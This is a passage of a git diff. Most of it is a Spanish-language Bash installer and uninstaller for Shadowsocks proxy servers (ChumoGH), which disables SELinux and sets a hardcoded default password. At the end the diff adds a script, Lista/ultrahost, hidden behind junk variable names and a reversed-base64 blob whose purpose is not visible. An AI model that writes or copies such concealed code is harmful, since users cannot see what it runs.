'{print $3}')" != x"True" ] && yum-config-manager --enable epel > /dev/null 2>&1 +echo -e "[${green}Info${plain}] Checking the EPEL repository complete..." +yum_depends=( +unzip gzip openssl openssl-devel gcc python python-devel python-setuptools pcre pcre-devel libtool libevent +autoconf automake make curl curl-devel zlib-devel perl perl-devel cpio expat-devel gettext-devel +libev-devel c-ares-devel git qrencode +) +for depend in ${yum_depends[@]}; do +error_detect_depends "yum -y install ${depend}" +done +elif check_sys packageManager apt; then +apt_depends=( +gettext build-essential unzip gzip python python-dev python-setuptools curl openssl libssl-dev +autoconf automake libtool gcc make perl cpio libpcre3 libpcre3-dev zlib1g-dev libev-dev libc-ares-dev git qrencode +) +apt-get -y update +for depend in ${apt_depends[@]}; do +error_detect_depends "apt-get -y install ${depend}" +done +fi +} +install_check(){ +if check_sys packageManager yum || check_sys packageManager apt; then +if centosversion 5; then +return 1 +fi +return 0 +else +return 1 +fi +} +install_select(){ +if ! install_check; then +echo -e "[${red}Error${plain}] Your OS is not supported to run it!" +echo "Please change to CentOS 6+/Debian 7+/Ubuntu 12+ and try again." +exit 1 +fi +clear +while true +do +echo "Cual servidor Shadowsocks quieres instalar (recomendado 4):" +for ((i=1;i<=${#software[@]};i++ )); do +hint="${software[$i-1]}" +echo -e "${green}${i}${plain}) ${hint}" +done +read -p "Escribe un numero (Default ${software[0]}):" selected +[ -z "${selected}" ] && selected="1" +case "${selected}" in +1|2|3|4) +echo +echo "Escogiste = ${software[${selected}-1]}" +echo +break +;; +*) +echo -e "[${red}Error${plain}] Por favor escribe un numero del [1-4]" +;; +esac +done +} +install_prepare_password(){ +echo "Escribe una contraseña ${software[${selected}-1]}" +read -p "(Default password: chumogh):" shadowsockspwd +[ -z "${shadowsockspwd}" ] && shadowsockspwd="chumogh" +echo +echo "password = ${shadowsockspwd}" +echo +} +install_prepare_port() { +while true +do +dport=$(shuf -i 9000-19999 -n 1) +echo -e "Por favor escribe un puerto ${software[${selected}-1]} [1-65535]" +read -p "(Default port: ${dport}):" shadowsocksport +[ -z "${shadowsocksport}" ] && shadowsocksport=${dport} +expr ${shadowsocksport} + 1 &>/dev/null +if [ $? -eq 0 ]; then +if [ ${shadowsocksport} -ge 1 ] && [ ${shadowsocksport} -le 65535 ] && [ ${shadowsocksport:0:1} != 0 ]; then +echo +echo "port = ${shadowsocksport}" +echo +break +fi +fi +echo -e "[${red}Error${plain}] Por favor escribe un numero entre [1-65535]" +done +} +install_prepare_cipher(){ +while true +do +echo -e "Escribe el tipo de encriptacion ${software[${selected}-1]}:" +if [[ "${selected}" == "1" || "${selected}" == "4" ]]; then +for ((i=1;i<=${#common_ciphers[@]};i++ )); do +hint="${common_ciphers[$i-1]}" +echo -e "${green}${i}${plain}) ${hint}" +done +read -p "Encriptacion(Default: ${common_ciphers[0]}):" pick +[ -z "$pick" ] && pick=1 +expr ${pick} + 1 &>/dev/null +if [ $? -ne 0 ]; then +echo -e "[${red}Error${plain}] Por favor escribe un numero" +continue +fi +if [[ "$pick" -lt 1 || "$pick" -gt ${#common_ciphers[@]} ]]; then +echo -e "[${red}Error${plain}] Por favor escribe un numero entre 1 y ${#common_ciphers[@]}" +continue +fi +shadowsockscipher=${common_ciphers[$pick-1]} +elif [ "${selected}" == "2" ]; then +for ((i=1;i<=${#r_ciphers[@]};i++ )); do +hint="${r_ciphers[$i-1]}" +echo -e "${green}${i}${plain}) ${hint}" +done +read -p "Encriptacion(Default: ${r_ciphers[1]}):" pick +[ -z "$pick" ] && pick=2 +expr ${pick} + 1 &>/dev/null +if [ $? -ne 0 ]; then +echo -e "[${red}Error${plain}] Por favor escribe un numero" +continue +fi +if [[ "$pick" -lt 1 || "$pick" -gt ${#r_ciphers[@]} ]]; then +echo -e "[${red}Error${plain}] Por favor escribe un numero entre 1 y ${#r_ciphers[@]}" +continue +fi +shadowsockscipher=${r_ciphers[$pick-1]} +elif [ "${selected}" == "3" ]; then +for ((i=1;i<=${#go_ciphers[@]};i++ )); do +hint="${go_ciphers[$i-1]}" +echo -e "${green}${i}${plain}) ${hint}" +done +read -p "Encriptacion(Default: ${go_ciphers[0]}):" pick +[ -z "$pick" ] && pick=1 +expr ${pick} + 1 &>/dev/null +if [ $? -ne 0 ]; then +echo -e "[${red}Error${plain}] Por favor escribe un numero" +continue +fi +if [[ "$pick" -lt 1 || "$pick" -gt ${#go_ciphers[@]} ]]; then +echo -e "[${red}Error${plain}] Por favor escribe un numero entre 1 y ${#go_ciphers[@]}" +continue +fi +shadowsockscipher=${go_ciphers[$pick-1]} +fi +echo +echo "cipher = ${shadowsockscipher}" +echo +break +done +} +install_prepare_protocol(){ +while true +do +echo -e "Escoge un protocolo ${software[${selected}-1]}:" +for ((i=1;i<=${#protocols[@]};i++ )); do +hint="${protocols[$i-1]}" +echo -e "${green}${i}${plain}) ${hint}" +done +read -p "Protocolo(Default: ${protocols[0]}):" protocol +[ -z "$protocol" ] && protocol=1 +expr ${protocol} + 1 &>/dev/null +if [ $? -ne 0 ]; then +echo -e "[${red}Error${plain}] Por favor escribe un numero" +continue +fi +if [[ "$protocol" -lt 1 || "$protocol" -gt ${#protocols[@]} ]]; then +echo -e "[${red}Error${plain}] Por favor escribe un numero entre 1 y ${#protocols[@]}" +continue +fi +shadowsockprotocol=${protocols[$protocol-1]} +echo +echo "protocol = ${shadowsockprotocol}" +echo +break +done +} +install_prepare_obfs(){ +while true +do +echo -e "Please select obfs for ${software[${selected}-1]}:" +for ((i=1;i<=${#obfs[@]};i++ )); do +hint="${obfs[$i-1]}" +echo -e "${green}${i}${plain}) ${hint}" +done +read -p "Obfs(Default: ${obfs[0]}):" r_obfs +[ -z "$r_obfs" ] && r_obfs=1 +expr ${r_obfs} + 1 &>/dev/null +if [ $? -ne 0 ]; then +echo -e "[${red}Error${plain}] Por favor escribe un numero" +continue +fi +if [[ "$r_obfs" -lt 1 || "$r_obfs" -gt ${#obfs[@]} ]]; then +echo -e "[${red}Error${plain}] Por favor escoge un numero entre 1 y ${#obfs[@]}" +continue +fi +shadowsockobfs=${obfs[$r_obfs-1]} +echo +echo "obfs = ${shadowsockobfs}" +echo +break +done +} +install_prepare_libev_obfs(){ +if autoconf_version || centosversion 6; then +while true +do +echo -e "Quieres instalar simple-obfs para ${software[${selected}-1]}? [y/n]" +read -p "(default: n):" libev_obfs +[ -z "$libev_obfs" ] && libev_obfs=n +case "${libev_obfs}" in +y|Y|n|N) +echo +echo "Escogiste = ${libev_obfs}" +echo +break +;; +*) +echo -e "[${red}Error${plain}] Por favor solo escribe [y/n]" +;; +esac +done +if [ "${libev_obfs}" == "y" ] || [ "${libev_obfs}" == "Y" ]; then +while true +do +echo -e "Por favor selecciona el simple-obfs:" +for ((i=1;i<=${#obfs_libev[@]};i++ )); do +hint="${obfs_libev[$i-1]}" +echo -e "${green}${i}${plain}) ${hint}" +done +read -p "Obfs(Default: ${obfs_libev[0]}):" r_libev_obfs +[ -z "$r_libev_obfs" ] && r_libev_obfs=1 +expr ${r_libev_obfs} + 1 &>/dev/null +if [ $? -ne 0 ]; then +echo -e "[${red}Error${plain}] Por favor escribe un numero" +continue +fi +if [[ "$r_libev_obfs" -lt 1 || "$r_libev_obfs" -gt ${#obfs_libev[@]} ]]; then +echo -e "[${red}Error${plain}] Por favor escribe un numero entre 1 y ${#obfs_libev[@]}" +continue +fi +shadowsocklibev_obfs=${obfs_libev[$r_libev_obfs-1]} +echo +echo "obfs = ${shadowsocklibev_obfs}" +echo +break +done +fi +else +echo -e "[${green}Info${plain}] autoconf version is less than 2.67, simple-obfs for ${software[${selected}-1]} installation has been skipped" +fi +} +install_prepare(){ +if [[ "${selected}" == "1" || "${selected}" == "3" || "${selected}" == "4" ]]; then +install_prepare_password +install_prepare_port +install_prepare_cipher +if [ "${selected}" == "4" ]; then +install_prepare_libev_obfs +fi +elif [ "${selected}" == "2" ]; then +install_prepare_password +install_prepare_port +install_prepare_cipher +install_prepare_protocol +install_prepare_obfs +fi +echo +echo "Presiona cualquier tecla para continuar...o Presiona Ctrl+C para cancelar" +char=`get_char` +} +install_libsodium(){ +if [ ! -f /usr/lib/libsodium.a ]; then +cd ${cur_dir} +download "${libsodium_file}.tar.gz" "${libsodium_url}" +tar zxf ${libsodium_file}.tar.gz +cd ${libsodium_file} +./configure --prefix=/usr && make && make install +if [ $? -ne 0 ]; then +echo -e "[${red}Error${plain}] ${libsodium_file} install failed." +install_cleanup +exit 1 +fi +else +echo -e "[${green}Info${plain}] ${libsodium_file} already installed." +fi +} +install_mbedtls(){ +if [ ! -f /usr/lib/libmbedtls.a ]; then +cd ${cur_dir} +download "${mbedtls_file}-gpl.tgz" "${mbedtls_url}" +tar xf ${mbedtls_file}-gpl.tgz +cd ${mbedtls_file} +make SHARED=1 CFLAGS=-fPIC +make DESTDIR=/usr install +if [ $? -ne 0 ]; then +echo -e "[${red}Error${plain}] ${mbedtls_file} install failed." +install_cleanup +exit 1 +fi +else +echo -e "[${green}Info${plain}] ${mbedtls_file} already installed." +fi +} +install_shadowsocks_python(){ +cd ${cur_dir} +unzip -q ${shadowsocks_python_file}.zip +if [ $? -ne 0 ];then +echo -e "[${red}Error${plain}] unzip ${shadowsocks_python_file}.zip failed, please check unzip command." +install_cleanup +exit 1 +fi +cd ${shadowsocks_python_file} +python setup.py install --record /usr/local/shadowsocks_python.log +if [ -f /usr/bin/ssserver ] || [ -f /usr/local/bin/ssserver ]; then +chmod +x ${shadowsocks_python_init} +local service_name=$(basename ${shadowsocks_python_init}) +if check_sys packageManager yum; then +chkconfig --add ${service_name} +chkconfig ${service_name} on +elif check_sys packageManager apt; then +update-rc.d -f ${service_name} defaults +fi +else +echo +echo -e "[${red}Error${plain}] ${software[0]} install failed." +install_cleanup +exit 1 +fi +} +install_shadowsocks_r(){ +cd ${cur_dir} +tar zxf ${shadowsocks_r_file}.tar.gz +mv ${shadowsocks_r_file}/shadowsocks /usr/local/ +if [ -f /usr/local/shadowsocks/server.py ]; then +chmod +x ${shadowsocks_r_init} +local service_name=$(basename ${shadowsocks_r_init}) +if check_sys packageManager yum; then +chkconfig --add ${service_name} +chkconfig ${service_name} on +elif check_sys packageManager apt; then +update-rc.d -f ${service_name} defaults +fi +else +echo +echo -e "[${red}Error${plain}] ${software[1]} install failed." +install_cleanup +exit 1 +fi +} +install_shadowsocks_go(){ +cd ${cur_dir} +if is_64bit; then +gzip -d ${shadowsocks_go_file_64}.gz +if [ $? -ne 0 ];then +echo -e "[${red}Error${plain}] Decompress ${shadowsocks_go_file_64}.gz failed." +install_cleanup +exit 1 +fi +mv -f ${shadowsocks_go_file_64} /usr/bin/shadowsocks-server +else +gzip -d ${shadowsocks_go_file_32}.gz +if [ $? -ne 0 ];then +echo -e "[${red}Error${plain}] Decompress ${shadowsocks_go_file_32}.gz failed." +install_cleanup +exit 1 +fi +mv -f ${shadowsocks_go_file_32} /usr/bin/shadowsocks-server +fi +if [ -f /usr/bin/shadowsocks-server ]; then +chmod +x /usr/bin/shadowsocks-server +chmod +x ${shadowsocks_go_init} +local service_name=$(basename ${shadowsocks_go_init}) +if check_sys packageManager yum; then +chkconfig --add ${service_name} +chkconfig ${service_name} on +elif check_sys packageManager apt; then +update-rc.d -f ${service_name} defaults +fi +else +echo +echo -e "[${red}Error${plain}] ${software[2]} install failed." +install_cleanup +exit 1 +fi +} +install_shadowsocks_libev(){ +cd ${cur_dir} +tar zxf ${shadowsocks_libev_file}.tar.gz +cd ${shadowsocks_libev_file} +./configure --disable-documentation && make && make install +if [ $? -eq 0 ]; then +chmod +x ${shadowsocks_libev_init} +local service_name=$(basename ${shadowsocks_libev_init}) +if check_sys packageManager yum; then +chkconfig --add ${service_name} +chkconfig ${service_name} on +elif check_sys packageManager apt; then +update-rc.d -f ${service_name} defaults +fi +else +echo +echo -e "[${red}Error${plain}] ${software[3]} install failed." +install_cleanup +exit 1 +fi +} +install_shadowsocks_libev_obfs(){ +if [ "${libev_obfs}" == "y" ] || [ "${libev_obfs}" == "Y" ]; then +cd ${cur_dir} +git clone https://github.com/shadowsocks/simple-obfs.git +[ -d simple-obfs ] && cd simple-obfs || echo -e "[${red}Error:${plain}] Failed to git clone simple-obfs." +git submodule update --init --recursive +if centosversion 6; then +if [ ! "$(command -v autoconf268)" ]; then +echo -e "[${green}Info${plain}] Starting install autoconf268..." +yum install -y autoconf268 > /dev/null 2>&1 || echo -e "[${red}Error:${plain}] Failed to install autoconf268." +fi +sed -i 's/autoreconf/autoreconf268/' autogen.sh +sed -i 's@^#include @#include @' src/local.h +sed -i 's@^#include @#include @' src/server.h +fi +./autogen.sh +./configure --disable-documentation +make +make install +if [ ! "$(command -v obfs-server)" ]; then +echo -e "[${red}Error${plain}] simple-obfs for ${software[${selected}-1]} install failed." +install_cleanup +exit 1 +fi +[ -f /usr/local/bin/obfs-server ] && ln -s /usr/local/bin/obfs-server /usr/bin +fi +} +install_completed_python(){ +clear +${shadowsocks_python_init} start +echo +echo -e "Felicidades, ${green}${software[0]}${plain} server install completed!" +echo -e "IP : ${red} $(get_ip) ${plain}" +echo -e "Port : ${red} ${shadowsocksport} ${plain}" +echo -e "Password : ${red} ${shadowsockspwd} ${plain}" +echo -e "Metodo de Encriptacion: ${red} ${shadowsockscipher} ${plain}" +} +install_completed_r(){ +clear +${shadowsocks_r_init} start +echo +echo -e "Felicidades, ${green}${software[1]}${plain} server install completed!" +echo -e "IP : ${red} $(get_ip) ${plain}" +echo -e "Port : ${red} ${shadowsocksport} ${plain}" +echo -e "Password : ${red} ${shadowsockspwd} ${plain}" +echo -e "Protocol : ${red} ${shadowsockprotocol} ${plain}" +echo -e "Obfs : ${red} ${shadowsockobfs} ${plain}" +echo -e "Metodo de Encriptacion: ${red} ${shadowsockscipher} ${plain}" +} +install_completed_go(){ +clear +${shadowsocks_go_init} start +echo +echo -e "Felicidades, ${green}${software[2]}${plain} server install completed!" +echo -e "IP : ${red} $(get_ip) ${plain}" +echo -e "Port : ${red} ${shadowsocksport} ${plain}" +echo -e "Password : ${red} ${shadowsockspwd} ${plain}" +echo -e "Metodo de Encriptacion: ${red} ${shadowsockscipher} ${plain}" +} +install_completed_libev(){ +clear +ldconfig +${shadowsocks_libev_init} start +echo +echo -e "Felicidades, ${green}${software[3]}${plain} instalacion completada!" +echo -e "IP : ${red} $(get_ip) ${plain}" +echo -e "Port : ${red} ${shadowsocksport} ${plain}" +echo -e "Password : ${red} ${shadowsockspwd} ${plain}" +if [ "$(command -v obfs-server)" ]; then +echo -e "Obfs : ${red} ${shadowsocklibev_obfs} ${plain}" +fi +echo -e "Metodo de Encriptacion: ${red} ${shadowsockscipher} ${plain}" +} +qr_generate_python(){ +if [ "$(command -v qrencode)" ]; then +local tmp=$(echo -n "${shadowsockscipher}:${shadowsockspwd}@$(get_ip):${shadowsocksport}" | base64 -w0) +local qr_code="ss://${tmp}" +echo +echo "Codigo QR: (Para Shadowsocks Windows, OSX, Android y iOS)" +echo -e "${green} ${qr_code} ${plain}" +echo -n "${qr_code}" | qrencode -s8 -o ${cur_dir}/shadowsocks_python_qr.png +echo "Tu codigo QR fue guardado en la siguiente direccion:" +echo -e "${green} ${cur_dir}/shadowsocks_python_qr.png ${plain}" +fi +} +qr_generate_r(){ +if [ "$(command -v qrencode)" ]; then +local tmp1=$(echo -n "${shadowsockspwd}" | base64 -w0 | sed 's/=//g;s/\//_/g;s/+/-/g') +local tmp2=$(echo -n "$(get_ip):${shadowsocksport}:${shadowsockprotocol}:${shadowsockscipher}:${shadowsockobfs}:${tmp1}/?obfsparam=" | base64 -w0) +local qr_code="ssr://${tmp2}" +echo +echo "Codigo QR: (Para ShadowsocksR Windows, Android)" +echo -e "${green} ${qr_code} ${plain}" +echo -n "${qr_code}" | qrencode -s8 -o ${cur_dir}/shadowsocks_r_qr.png +echo "Tu codigo QR fue guardado en la siguiente direccion como PNG:" +echo -e "${green} ${cur_dir}/shadowsocks_r_qr.png ${plain}" +fi +} +qr_generate_go(){ +if [ "$(command -v qrencode)" ]; then +local tmp=$(echo -n "${shadowsockscipher}:${shadowsockspwd}@$(get_ip):${shadowsocksport}" | base64 -w0) +local qr_code="ss://${tmp}" +echo +echo "Codigo QR: (Para Shadowsocks Windows, OSX, Android y iOS)" +echo -e "${green} ${qr_code} ${plain}" +echo -n "${qr_code}" | qrencode -s8 -o ${cur_dir}/shadowsocks_go_qr.png +echo "Tu codigo QR fue guardado en la siguiente direccion como PNG:" +echo -e "${green} ${cur_dir}/shadowsocks_go_qr.png ${plain}" +fi +} +qr_generate_libev(){ +if [ "$(command -v qrencode)" ]; then +local tmp=$(echo -n "${shadowsockscipher}:${shadowsockspwd}@$(get_ip):${shadowsocksport}" | base64 -w0) +local qr_code="ss://${tmp}" +echo +echo "Codigo QR: (Para Shadowsocks Windows, OSX, Android y iOS)" +echo -e "${green} ${qr_code} ${plain}" +echo -n "${qr_code}" | qrencode -s8 -o ${cur_dir}/shadowsocks_libev_qr.png +echo "Tu codigo QR fue guardado en la siguiente direccion como PNG:" +echo -e "${green} ${cur_dir}/shadowsocks_libev_qr.png ${plain}" +fi +} +install_main(){ +install_libsodium +if ! ldconfig -p | grep -wq "/usr/lib"; then +echo "/usr/lib" > /etc/ld.so.conf.d/lib.conf +fi +ldconfig +if [ "${selected}" == "1" ]; then +install_shadowsocks_python +install_completed_python +qr_generate_python +elif [ "${selected}" == "2" ]; then +install_shadowsocks_r +install_completed_r +qr_generate_r +elif [ "${selected}" == "3" ]; then +install_shadowsocks_go +install_completed_go +qr_generate_go +elif [ "${selected}" == "4" ]; then +install_mbedtls +install_shadowsocks_libev +install_shadowsocks_libev_obfs +install_completed_libev +qr_generate_libev +fi +echo +echo "ChumoGH - Shadowsocks" +echo "t.me/ChumoGH" +echo +} +install_cleanup(){ +cd ${cur_dir} +rm -rf simple-obfs +rm -rf ${libsodium_file} ${libsodium_file}.tar.gz +rm -rf ${mbedtls_file} ${mbedtls_file}-gpl.tgz +rm -rf ${shadowsocks_python_file} ${shadowsocks_python_file}.zip +rm -rf ${shadowsocks_r_file} ${shadowsocks_r_file}.tar.gz +rm -rf ${shadowsocks_go_file_64}.gz ${shadowsocks_go_file_32}.gz +rm -rf ${shadowsocks_libev_file} ${shadowsocks_libev_file}.tar.gz +} +install_shadowsocks(){ +disable_selinux +install_select +install_prepare +install_dependencies +download_files +config_shadowsocks +if check_sys packageManager yum; then +config_firewall +fi +install_main +install_cleanup +} +uninstall_shadowsocks_python(){ +printf "Estas seguro que quieres desinstalar ${red}${software[0]}${plain}? [y/n]\n" +read -p "(default: n):" answer +[ -z ${answer} ] && answer="n" +if [ "${answer}" == "y" ] || [ "${answer}" == "Y" ]; then +${shadowsocks_python_init} status > /dev/null 2>&1 +if [ $? -eq 0 ]; then +${shadowsocks_python_init} stop +fi +local service_name=$(basename ${shadowsocks_python_init}) +if check_sys packageManager yum; then +chkconfig --del ${service_name} +elif check_sys packageManager apt; then +update-rc.d -f ${service_name} remove +fi +rm -fr $(dirname ${shadowsocks_python_config}) +rm -f ${shadowsocks_python_init} +rm -f /var/log/shadowsocks.log +if [ -f /usr/local/shadowsocks_python.log ]; then +cat /usr/local/shadowsocks_python.log | xargs rm -rf +rm -f /usr/local/shadowsocks_python.log +fi +echo -e "[${green}Info${plain}] ${software[0]} desinstalacion exitosa" +else +echo +echo -e "[${green}Info${plain}] ${software[0]} desinstalacion cancelada..." +echo +fi +} +uninstall_shadowsocks_r(){ +printf "Estas seguro que quieres desinstalar ${red}${software[1]}${plain}? [y/n]\n" +read -p "(default: n):" answer +[ -z ${answer} ] && answer="n" +if [ "${answer}" == "y" ] || [ "${answer}" == "Y" ]; then +${shadowsocks_r_init} status > /dev/null 2>&1 +if [ $? -eq 0 ]; then +${shadowsocks_r_init} stop +fi +local service_name=$(basename ${shadowsocks_r_init}) +if check_sys packageManager yum; then +chkconfig --del ${service_name} +elif check_sys packageManager apt; then +update-rc.d -f ${service_name} remove +fi +rm -fr $(dirname ${shadowsocks_r_config}) +rm -f ${shadowsocks_r_init} +rm -f /var/log/shadowsocks.log +rm -fr /usr/local/shadowsocks +echo -e "[${green}Info${plain}] ${software[1]} Desinstalacion exitosa" +else +echo +echo -e "[${green}Info${plain}] ${software[1]} Desinstalacion cancelada..." +echo +fi +} +uninstall_shadowsocks_go(){ +printf "Estas seguro que quieres desinstalar ${red}${software[2]}${plain}? [y/n]\n" +read -p "(default: n):" answer +[ -z ${answer} ] && answer="n" +if [ "${answer}" == "y" ] || [ "${answer}" == "Y" ]; then +${shadowsocks_go_init} status > /dev/null 2>&1 +if [ $? -eq 0 ]; then +${shadowsocks_go_init} stop +fi +local service_name=$(basename ${shadowsocks_go_init}) +if check_sys packageManager yum; then +chkconfig --del ${service_name} +elif check_sys packageManager apt; then +update-rc.d -f ${service_name} remove +fi +rm -fr $(dirname ${shadowsocks_go_config}) +rm -f ${shadowsocks_go_init} +rm -f /usr/bin/shadowsocks-server +echo -e "[${green}Info${plain}] ${software[2]} desinstalacion exitosa" +else +echo +echo -e "[${green}Info${plain}] ${software[2]} desinstalacion cancelada..." +echo +fi +} +uninstall_shadowsocks_libev(){ +printf "Estas seguro que quieres desinstalar ${red}${software[3]}${plain}? [y/n]\n" +read -p "(default: n):" answer +[ -z ${answer} ] && answer="n" +if [ "${answer}" == "y" ] || [ "${answer}" == "Y" ]; then +${shadowsocks_libev_init} status > /dev/null 2>&1 +if [ $? -eq 0 ]; then +${shadowsocks_libev_init} stop +fi +local service_name=$(basename ${shadowsocks_libev_init}) +if check_sys packageManager yum; then +chkconfig --del ${service_name} +elif check_sys packageManager apt; then +update-rc.d -f ${service_name} remove +fi +rm -fr $(dirname ${shadowsocks_libev_config}) +rm -f /usr/local/bin/ss-local +rm -f /usr/local/bin/ss-tunnel +rm -f /usr/local/bin/ss-server +rm -f /usr/local/bin/ss-manager +rm -f /usr/local/bin/ss-redir +rm -f /usr/local/bin/ss-nat +rm -f /usr/local/bin/obfs-local +rm -f /usr/local/bin/obfs-server +rm -f /usr/local/lib/libshadowsocks-libev.a +rm -f /usr/local/lib/libshadowsocks-libev.la +rm -f /usr/local/include/shadowsocks.h +rm -f /usr/local/lib/pkgconfig/shadowsocks-libev.pc +rm -f /usr/local/share/man/man1/ss-local.1 +rm -f /usr/local/share/man/man1/ss-tunnel.1 +rm -f /usr/local/share/man/man1/ss-server.1 +rm -f /usr/local/share/man/man1/ss-manager.1 +rm -f /usr/local/share/man/man1/ss-redir.1 +rm -f /usr/local/share/man/man1/ss-nat.1 +rm -f /usr/local/share/man/man8/shadowsocks-libev.8 +rm -fr /usr/local/share/doc/shadowsocks-libev +rm -f ${shadowsocks_libev_init} +echo -e "[${green}Info${plain}] ${software[3]} desinstalacion exitosa" +else +echo +echo -e "[${green}Info${plain}] ${software[3]} desinstalacion cancelada..." +echo +fi +} +uninstall_shadowsocks(){ +while true +do +echo "Cual servidor Shadowsocks quieres desinstalar?" +for ((i=1;i<=${#software[@]};i++ )); do +hint="${software[$i-1]}" +echo -e "${green}${i}${plain}) ${hint}" +done +read -p "Escoge un numero [1-4]:" un_select +case "${un_select}" in +1|2|3|4) +echo +echo "Escogiste = ${software[${un_select}-1]}" +echo +break +;; +*) +echo -e "[${red}Error${plain}] escoge un numero [1-4]" +;; +esac +done +if [ "${un_select}" == "1" ]; then +if [ -f ${shadowsocks_python_init} ]; then +uninstall_shadowsocks_python +else +echo -e "[${red}Error${plain}] ${software[${un_select}-1]} no instalado, por favor verifica e intenta de nuevo." +echo +exit 1 +fi +elif [ "${un_select}" == "2" ]; then +if [ -f ${shadowsocks_r_init} ]; then +uninstall_shadowsocks_r +else +echo -e "[${red}Error${plain}] ${software[${un_select}-1]} no instalado, por favor verifica e intenta de nuevo." +echo +exit 1 +fi +elif [ "${un_select}" == "3" ]; then +if [ -f ${shadowsocks_go_init} ]; then +uninstall_shadowsocks_go +else +echo -e "[${red}Error${plain}] ${software[${un_select}-1]} no instalado, por favor verifica e intenta de nuevo." +echo +exit 1 +fi +elif [ "${un_select}" == "4" ]; then +if [ -f ${shadowsocks_libev_init} ]; then +uninstall_shadowsocks_libev +else +echo -e "[${red}Error${plain}] ${software[${un_select}-1]} no instalado, por favor verifica e intenta de nuevo." +echo +exit 1 +fi +fi +} +action=$1 +[ -z $1 ] && action=install +case "${action}" in +install|uninstall) +${action}_shadowsocks +;; +*) +echo "Arguments error! [${action}]" +echo "Usage: $(basename $0) [install|uninstall]" +;; +esac diff --git a/Lista/ultrahost b/Lista/ultrahost index 9d6b728..b928137 100755 --- a/Lista/ultrahost +++ b/Lista/ultrahost @@ -1,2 +1,81 @@ #!/bin/bash -kgzmQIFofizfejlqlAFfOAygyzWEyzECzKkUQJiKznuOOuNtvTueZnsvUWfcKQGTnhSDVFoXhLVEXapfberJBugDjBhlOklZdrKZ="dPrJpgbayTZaVpGGOlwkecQjaWsNcMOlTyhvDiXHcceMTpcjdaImokSxsNvGFIINEVJRdyMfIfAMvMpJoBZTNftpvCleDKsYaiLr";caDFxMndetUPRPDDJpgswUobKRFMtWTIuuUJOJnwquaOFhZfTjklvzMqiVlVRDiRwsUIjfcClDfvRMjxsljkYuvszAAibpTZmPAI="JsDJSXrXyNkmQOUVLzGgXQHmfPrIxgIlWqLqWAoSZINtJkssVqYpqSlvnOpYWBocWSLdVigSSdpicIGHdDGDetuvUVydjJgommXe";fBFaTHZDUPGRvGBwTltLWZZGcFyxCmImZGkRIqzDgcdPuvcDBPitcvZKGINhIFcwpdNbnMXTUBZVoUoPIMKlZBZZDKzuEWYokpCT="ch";dvSvIrqCzjYFfZlGbkHVyzNBbMHFhIEmGztCFHrlcrfUKHEcymPtgtQttWdANvzIuAIhKUEWnvYycGirWQXLQCoeQsPHWOeaEyis="4";lROyAPpHRHSlWDScyBTswYsDeKWCAdnruYzJzomIBloySIxnDogluxCIVGtnLrzZWrwbIeFSzQbsaHHxFPUInjVbcsTFNkbTFpLf="";emZwlStMkiXxYzohWegamPGmguHoaMzKcWlVTovenXnOIAvhMPtSnAsDUQWAqMcWsMYGJPwCVAPhZKfyiJFLDUVZTooCXSxBNtUK="DwnsQIGUaXMkfoobeXQYctXYCCsBJFfRcymEbJTOPTfFPPsNAVpMvoLHQFjgtzzktEtNpCdqeMIKTQQgjYIOqJUOEzebYdEUineK";yJhcRmIhiTJfuWZxFsRYwQrBgNEyDaNStGadFlJOnfTCznMvwAXZpPidLtNZUrGRDxuWnYZHkkUjPvCOuYCmnHvODKzbosdGxCGY=" ==gCi0GMbNzMwwVP90TP90TP90TP90TP90TP90TP90TP90TP90TP90TP90TP90TbxMzOxs1MzADXiASZtAyboNWZKYiJgISbws1MzADX0xWdzVmciV3cvUUTPhEJgoDIuVGIvRWYyVmbldEIvJHdzl2ZlJVbyMzOxs1MzADXiASZtAyboNWZKYiJg0VXgICMiASPg8DJgs1WKIDJgEDJgIXYpNWaulmCi0GMbNzMwwVP90TP90TP90TP90TP90TP90TP90TP90TP90TP90TP90TP90TbxMzOxs1MzADXiASZtAyboNWZKISKOF0QThCIT9EVOVUTJRURD9kUQByTE5UQalETBl0QJ5USg02MzsTMbNzMwwlIgUWLg8GajVmCi0GMbNzMwwVP90TP90TP90TP90TP90TP90TP90TP90TP90TP90TP90TP90TbxMzOxs1MzADXiASZtAyboNWZKQFUJJ1QTBSQJNUSOl0IKoQfKADIuJXd0VmcK0HIgAiCi0GMbNzMwwVP90TP90TP90TP90TP90TP90TP90TP90TP90TP90TP90TP90TbxMzOxs1MzADXiASZtAyboNWZgACIK0DI21CIwVmcnxHdsV3clJnY1N3LF10TIRCI0F2YgACIKISbyMzOxs1MzADXiASZu1CIvh2YlBCIgowegYiJg0VXgkSW8lHfTx3coAEI9Aib5RCIbtFIgAiCulHIkFWZyByOiAiOd50LTtFI/M3bkFGdsV3clJFIz9GbgIXatlmcw1WSgEWZzVGRiASZu1CIvh2YlpgItBzWzMDMc1TP90TP90TP90TP90TP90TP90TP90TP90TP90TP90TP90TP90WMzsTMbNzMwwlbcN3bkFmc1RHchNEIzR3cvhEIUx0USRSbyMzOxs1MzADXuxVP90TP90TP90TP90TP90TP90TP90TP90TP90TP90TP90TP90TbxMzOxs1MzADXiASZtAyboNWZgYiJgkSK08SKs1CIjdHf0xWdzVmciV3cvUUTPhEJgQXYjhCJogCJ9QFTTJlCl52bkpwahVmciBiJmASXdBiIxICI0xWLgkydtAyY3xHc1t2bvx2cuBiZvRWawhCJgs1WK8GZgsTZ1JHdgUGbph2dKUmbvRmCmASKKAVSgQXZz5WdKQHb1NXZyJWdz9SRN9ESkAiP+AiI90TP90TP90TP90TP90TP90TP90TP90TP90TP90TP90TP90TPuxVfdRmbhJ3WQl0ekAiOQlkbc1XXk5WYyt1cuR2ekAiOT5ERuxVP90TP90TP90TP90TP90TP90TP90TP90TP90TP90TP90TP90jIgUWLg8GajVmCxYiPyACbsVnbvYXZk9CI+ASKx0CIslWY0x3J9NDLxsXX50CMb5CX9NDLxsXX50CMb5CX9NDLxsXX50CMb5CX9NDLxsXX50CMbdCIvVULgAXZydGfnsSXukTLwsFI6M3clJHZkF0Jg8WRtACclJ3Z8JSfdRmbhJ3WuF2YztHJiACc1t2bvx2cuhCJ90FZuFmcbBVSKkSMm1CIn8yJk1CI0V3Y81HdsV3clJ3ekAyboNWZoQSPdRmbhJ3WuF2YzpgI0xWdzVmckISPdRmbhJ3Wz5GZKISTPRkTBJFJi0DZuFmcKgiCvRGI7kiI91FQbNlTEtHJiAyboNWZoQCIulGI0xWdzVmcgI3bmpgC0xWdzVmciV3cvUUTPhEJgg2Y19GdgYiJg0VXgQHb1NXZyJWdz9SRN9ESkASZtASIgs1WKQHb1NXZyJWdz9SRN9ESkASbyBiJmASXdBCdsV